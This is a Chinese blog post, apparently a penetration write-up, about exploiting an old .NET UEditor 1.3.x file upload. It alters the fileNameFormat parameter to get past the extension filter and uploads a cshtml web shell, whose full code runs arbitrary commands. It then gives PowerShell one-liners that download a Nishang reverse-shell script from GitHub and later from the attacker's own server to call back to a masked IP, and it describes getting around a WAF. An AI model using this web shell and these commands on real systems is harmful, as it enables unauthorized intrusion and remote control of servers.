zoukankan      html  css  js  c++  java
  • 低版本.net ueditor结合cshtml getshell

    ueditor版本.net 1.3.x,不是.net 1.4.3的getshell

    上传页面是这样的需要开启flash,添加照片抓包。先正常上传

    改后缀提示不允许的文件类型

    注意到fileNameFormat参数为时间戳一样的东西,改为1看看效果

    注意到文件名(不包含后缀)变为了1随之将,fileNameFormat参数下面内容改为你想上传文件的文件名(包括后缀)filename参数改为jpg

    成功上传,打开发现aspx禁止访问403

    于是尝试上传cshtml,以下是内容可执行任意命令

    @using System.CodeDom.Compiler;
    @using System.Diagnostics;
    @using System.Reflection;
    @using System.Web.Compilation;
    @functions {
    string ExecuteCommand(string command, string arguments = null)
    {
    var output = new System.Text.StringBuilder();
    var process = new Process();
    var startInfo = new ProcessStartInfo
    {
    FileName = command,
    Arguments = arguments,
    WorkingDirectory = HttpRuntime.AppDomainAppPath,
    RedirectStandardOutput = true,
    RedirectStandardError = true,
    UseShellExecute = false
    };
    process.StartInfo = startInfo;
    process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
    process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
                    process.Start();
    process.BeginOutputReadLine();
    process.BeginErrorReadLine();
    process.WaitForExit();
    return output.ToString();
    }
    }
          @{
    var cmd = ExecuteCommand("cmd.exe", "/c whoami");
            }
    Output of the injected command (killer):
    @cmd
    

    成功上传,system权限,执行systeminfo发现为win2008使用powershell反弹shell命令为

    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress xxx.240.xx.69 -port 2333
    

    上传时被waf拦截,简单测试后发现waf拦截https(有点迷我也不知道为啥)于是把ps1放在自己web服务上使用以下命令反弹shell

    powershell IEX (New-Object Net.WebClient).DownloadString('http://xxx.240.xx.69/2.ps1');Invoke-PowerShellTcp -Reverse -IPAddress xxx.240.xx.69 -port 2333
    

    成功上传但是访问文件的时候shell没弹回来,并报错。

    尝试换端口发现也一样,最后发现是我的vps是香港的这个台服务器访问不了。。。换了一台国内的vps成功收到shell,由于是一个月之前的了图没保存。

  • 相关阅读:
    Python练习题 016:猴子吃桃
    Date() 及其 如何验证用户输入的日期是合法的
    关于事件触发的一个小tips
    KVO监听导航栏
    使用CoreText动态下载更换字体
    UICollectionView 的使用
    echarts散点图搭配时间轴
    使用百度echarts画图表的步骤
    canvas画图中drawImage使用
    html5canvas简单画图
  • 原文地址:https://www.cnblogs.com/cwkiller/p/12087890.html
Copyright © 2011-2022 走看看